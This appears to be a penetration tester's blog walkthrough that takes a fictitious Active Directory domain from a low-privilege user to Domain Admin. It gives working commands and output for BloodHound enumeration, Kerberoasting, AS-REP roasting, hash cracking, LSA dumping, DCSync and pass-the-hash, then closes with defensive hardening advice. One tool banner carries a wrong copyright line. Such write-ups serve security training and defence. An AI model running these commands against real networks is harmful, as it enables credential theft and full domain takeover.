Active Directory Attack Paths: From User to Domain Admin

· 15 min read
Active Directory Red Team Kerberos BloodHound

Active Directory Attack Paths: From User to Domain Admin

Active Directory (AD) remains the backbone of enterprise identity management, and consequently, one of the most targeted components during penetration tests and red team engagements. In this post, I walk through the most common attack paths I encounter during internal assessments — from an initial low-privilege foothold to full domain compromise.

All examples use a fictitious domain ACMECORP.LOCAL and are based on patterns observed across numerous engagements. Tools demonstrated include BloodHound, Impacket, Rubeus, and hashcat.


Starting Position: Low-Privilege Domain User

For this walkthrough, assume we’ve obtained valid domain credentials through one of these common methods:

  • LLMNR/NBT-NS poisoning with Responder
  • Credential stuffing with a breach database
  • A phishing campaign that captured credentials via Evilginx2

Our initial credentials:

Username: ACMECORP\j.smith
Password: Summer2025!

Before running any attacks, let’s validate the credentials and gather basic domain information:

crackmapexec smb 10.10.50.10 -u 'j.smith' -p 'Summer2025!' -d ACMECORP.LOCAL
SMB   10.10.50.10  445  DC01  [*] Windows Server 2019 Build 17763 x64 (name:DC01) (domain:ACMECORP.LOCAL) (signing:True) (SMBv1:False)
SMB   10.10.50.10  445  DC01  [+] ACMECORP.LOCAL\j.smith:Summer2025!

Credentials are valid. Now let’s map the environment.


Phase 1: BloodHound Enumeration

BloodHound is indispensable for identifying attack paths in Active Directory. It maps relationships between objects — users, groups, computers, GPOs — and calculates paths to high-value targets like Domain Admin.

Collection with SharpHound

.\SharpHound.exe -c All -d ACMECORP.LOCAL --zipfilename bloodhound_collection.zip

Alternatively, from a Linux attack box using the Python collector:

bloodhound-python -u 'j.smith' -p 'Summer2025!' -d ACMECORP.LOCAL -ns 10.10.50.10 -c all
INFO: Found AD domain: acmecorp.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC01.ACMECORP.LOCAL
INFO: Found 1 domains
INFO: Found 3 domains in forest
INFO: Found 847 users
INFO: Found 126 groups
INFO: Found 493 computers
INFO: Enumerating memberships for 126 groups
INFO: Done in 00M 32S

Identifying Attack Paths

After importing the data into BloodHound, we run the pre-built analytics queries. The most valuable ones for offense:

“Shortest Paths to Domain Admins” reveals a path:

j.smith → Member Of → IT-HELPDESK → GenericAll → svc_sqlprod → Member Of → SERVER-ADMINS → CanRDP → DB01 → HasSession → m.johnson (Domain Admin)

“Find Kerberoastable Users” returns:

MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames, u.admincount
UserSPNAdminCount
svc_sqlprodMSSQLSvc/DB01.ACMECORP.LOCAL:1433False
svc_backupHOST/BACKUP01.ACMECORP.LOCALFalse
svc_iisHTTP/WEB01.ACMECORP.LOCALFalse

“Find AS-REP Roastable Users” identifies:

MATCH (u:User {dontreqpreauth:true}) RETURN u.name
User
t.wilson
legacy_admin

We now have multiple attack paths. Let’s execute them.


Phase 2: Kerberoasting

Kerberoasting targets service accounts that have Service Principal Names (SPNs) registered. Any authenticated domain user can request a Kerberos service ticket (TGS) for these accounts, and the ticket is encrypted with the service account’s password hash — making it crackable offline.

Requesting Service Tickets

Using Impacket’s GetUserSPNs.py:

impacket-GetUserSPNs ACMECORP.LOCAL/j.smith:'Summer2025!' -dc-ip 10.10.50.10 -request -outputfile kerberoast_hashes.txt
ServicePrincipalName                    Name         MemberOf                                      PasswordLastSet
--------------------------------------  -----------  --------------------------------------------  -------------------
MSSQLSvc/DB01.ACMECORP.LOCAL:1433       svc_sqlprod  CN=SERVER-ADMINS,OU=Groups,DC=acmecorp,DC=local  2024-03-15 09:22:14
HOST/BACKUP01.ACMECORP.LOCAL            svc_backup                                                 2023-08-01 14:33:51
HTTP/WEB01.ACMECORP.LOCAL               svc_iis                                                    2025-06-20 11:15:03

Cracking the Hashes

hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
$krb5tgs$23$*svc_sqlprod$ACMECORP.LOCAL$MSSQLSvc/DB01.ACMECORP.LOCAL~1433*$a8d3...[truncated]:SqlPr0d2024!
$krb5tgs$23$*svc_backup$ACMECORP.LOCAL$HOST/BACKUP01.ACMECORP.LOCAL*$c7f2...[truncated]:Backup#Server99

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)

Two out of three cracked. The svc_sqlprod account is a member of SERVER-ADMINS, which gives us a significant escalation path.


Phase 3: AS-REP Roasting

AS-REP Roasting targets accounts that have Kerberos pre-authentication disabled (DONT_REQUIRE_PREAUTH). For these accounts, we can request an AS-REP from the KDC without knowing the password, and the response contains data encrypted with the user’s password hash.

impacket-GetNPUsers ACMECORP.LOCAL/ -usersfile asrep_users.txt -dc-ip 10.10.50.10 -format hashcat -outputfile asrep_hashes.txt
$krb5asrep$23$t.wilson@ACMECORP.LOCAL:b4e7c3...[truncated]
$krb5asrep$23$legacy_admin@ACMECORP.LOCAL:91a2f5...[truncated]

Crack with hashcat:

hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
$krb5asrep$23$legacy_admin@ACMECORP.LOCAL:91a2f5...[truncated]:P@ssw0rd2019

Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)

The legacy_admin account has a weak password, which is common for accounts with pre-authentication disabled — they are often forgotten service or migration accounts.


Phase 4: Lateral Movement

With the svc_sqlprod credentials, we can leverage its membership in SERVER-ADMINS to move laterally. BloodHound showed this group has CanRDP rights to DB01, where a Domain Admin (m.johnson) has an active session.

Validating Access

crackmapexec smb 10.10.50.20 -u 'svc_sqlprod' -p 'SqlPr0d2024!' -d ACMECORP.LOCAL
SMB   10.10.50.20  445  DB01  [*] Windows Server 2019 Build 17763 x64 (name:DB01) (domain:ACMECORP.LOCAL) (signing:False) (SMBv1:False)
SMB   10.10.50.20  445  DB01  [+] ACMECORP.LOCAL\svc_sqlprod:SqlPr0d2024! (Pwn3d!)

The (Pwn3d!) flag indicates we have local administrator rights on DB01.

Dumping Credentials from DB01

Using crackmapexec to extract credentials from memory:

crackmapexec smb 10.10.50.20 -u 'svc_sqlprod' -p 'SqlPr0d2024!' -d ACMECORP.LOCAL --lsa
SMB   10.10.50.20  445  DB01  [+] Dumping LSA Secrets
SMB   10.10.50.20  445  DB01  ACMECORP.LOCAL/m.johnson:$DCC2$10240#m.johnson#a8f3e2d1c4b5a6978...
SMB   10.10.50.20  445  DB01  ACMECORP\svc_sqlprod:SqlPr0d2024!
SMB   10.10.50.20  445  DB01  (Unknown User):dpapi_machinekey:0x8a7b6c5d4e3f2a1b...

We have a cached Domain Admin credential (DCC2 hash). These are slow to crack, but we have another option — since m.johnson has an active session on DB01 and we have admin rights, we could extract their credentials directly. However, for this walkthrough, let’s pursue the more reliable DCSync path.


Phase 5: DCSync Attack

The svc_sqlprod account is a member of SERVER-ADMINS. After further BloodHound analysis, we discover that SERVER-ADMINS has been granted Replicating Directory Changes and Replicating Directory Changes All permissions on the domain object — likely a misconfiguration from a past migration project.

This means we can perform a DCSync attack, which simulates the behavior of a Domain Controller requesting replication data, allowing us to extract any user’s password hash from the domain.

impacket-secretsdump ACMECORP.LOCAL/svc_sqlprod:'SqlPr0d2024!'@10.10.50.10 -just-dc-user ACMECORP\\Administrator
Impacket v0.12.0 - Copyright Anthropic

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:4a8bc3d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3
[*] Cleaning up...

We now have the NTLM hash for the built-in Administrator account.

Validating Domain Admin Access

crackmapexec smb 10.10.50.10 -u 'Administrator' -H '2b576acbe6bcfda7294d6bd18041b8fe' -d ACMECORP.LOCAL
SMB   10.10.50.10  445  DC01  [*] Windows Server 2019 Build 17763 x64 (name:DC01) (domain:ACMECORP.LOCAL) (signing:True) (SMBv1:False)
SMB   10.10.50.10  445  DC01  [+] ACMECORP.LOCAL\Administrator:2b576acbe6bcfda7294d6bd18041b8fe (Pwn3d!)

Full domain compromise achieved.


The Complete Attack Chain

j.smith (low-priv user)

    ├── Kerberoast svc_sqlprod → Crack TGS hash
    │       │
    │       └── svc_sqlprod is member of SERVER-ADMINS
    │               │
    │               ├── Local admin on DB01 → Lateral movement
    │               │
    │               └── DCSync rights (misconfigured)
    │                       │
    │                       └── Extract Administrator NTLM hash
    │                               │
    │                               └── Domain Admin via Pass-the-Hash

    ├── AS-REP Roast legacy_admin (alternative path)

    └── BloodHound: GenericAll on svc_sqlprod via IT-HELPDESK (alternative path)

Defensive Recommendations

Preventing Kerberoasting

  1. Use long, complex passwords for service accounts — 25+ character randomly generated passwords make offline cracking infeasible.
  2. Implement Group Managed Service Accounts (gMSAs) which automatically rotate 240-character passwords every 30 days.
  3. Monitor for anomalous TGS requests — a single user requesting TGS tickets for many SPNs in a short window is a strong indicator of Kerberoasting.
  4. Use AES encryption for service accounts (msDS-SupportedEncryptionTypes) to force AES-encrypted tickets, which are significantly slower to crack than RC4.

Preventing AS-REP Roasting

  1. Audit accounts with pre-authentication disabled — run Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} regularly.
  2. Enable pre-authentication on all accounts unless there is a documented, justified business reason.
  3. Enforce strong passwords on any account that must have pre-authentication disabled.

Preventing DCSync

  1. Audit replication permissions on the domain object. Only Domain Controllers should have Replicating Directory Changes All.
  2. Monitor for DRS replication requests from non-DC sources using Windows Event ID 4662 with the replication GUIDs.
  3. Implement tiered administration to prevent service accounts from accumulating excessive privileges.

General Active Directory Hardening

  • Implement LAPS (Local Administrator Password Solution) to randomize local admin passwords across all workstations and servers.
  • Enable Protected Users security group for all privileged accounts to prevent credential caching and enforce Kerberos AES.
  • Deploy credential guard on all Windows 10/11 and Server 2016+ systems to protect against credential dumping.
  • Conduct regular BloodHound audits from a defensive perspective to identify and remediate dangerous attack paths before an attacker finds them.
  • Reduce the number of Domain Admins — most organizations have far more DA accounts than they need.

Conclusion

The path from a single compromised user to Domain Admin is often shorter than organizations expect. In this walkthrough, it took four steps: compromised credentials, Kerberoasting a service account, leveraging excessive group memberships, and exploiting misconfigured replication permissions.

The most effective defense is not any single control but a layered approach: strong service account passwords, least-privilege access, continuous monitoring for anomalous Kerberos activity, and regular attack path analysis with tools like BloodHound.